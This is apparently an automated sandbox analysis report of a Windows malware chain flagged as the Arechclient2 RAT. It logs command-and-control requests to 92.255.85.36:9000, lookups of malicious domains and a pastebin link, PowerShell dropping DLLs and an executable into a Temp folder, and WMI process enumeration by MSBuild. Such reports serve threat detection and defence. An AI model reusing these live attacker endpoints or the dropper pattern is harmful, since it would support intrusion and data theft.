Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: cta.berlmember.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: shorturl.at
Source: global traffic	DNS traffic detected: DNS query: www.shorturl.at
Source: global traffic	DNS traffic detected: DNS query: update-connection-to.help

Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF168000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.61.157.205
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDDC71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.61.157.205/f1/red
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF26D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.61.1HjB
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.85.36:
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B30000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.85.36:9000
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B30000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.85.36:9000/wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 0000000D.00000002.1696753146.0000016DF5EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh/u
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000003038000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000003038000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/h
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000003038000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/l
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDC71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF2D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://shorturl.at
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://update-connection-to.help
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh/u
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: AUpdate.exe, 0000000F.00000002.1717199937.000000000949D000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF2FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.shorturl.at
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDC71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.1698923339.0000016DF60D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelph/u
Source: powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh/u
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF7AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDFAB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.microX
Source: powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/DWCCqGB0
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE014000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shorturl.at
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shorturl.at/qTlJM
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shorturl.at/qTlJMh/u
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDF363000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://update-connection-to.help
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE045000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDE05C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF2D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF2F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF322000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDE07C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://update-connection-to.help/factory/girl
Source: AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE064000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF2FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.shorturl.at
Source: powershell.exe, 0000000D.00000002.1670469425.0000016DDE064000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDE060000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF2FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF2FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.shorturl.at/qTlJM

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52539
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52542
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52362
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.26.9.129:443 -> 192.168.2.16:52539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.88:443 -> 192.168.2.16:52542 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.68.54:443 -> 192.168.2.16:52546 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\AppData\Local\Temp\bihsngcs, type: DROPPED

Matched rule: Detects Arechclient2 RAT Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\OISGRAPH.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\OISAPP.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\CDLMSO.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\MSOCF.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\bihsngcs, type: DROPPED

Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.win@32/46@12/9

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\754ef979591145e8b9b847ee962d7d09
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3muufqfi.53n.ps1

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1964
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 584
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1756
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7056
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 356
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4292
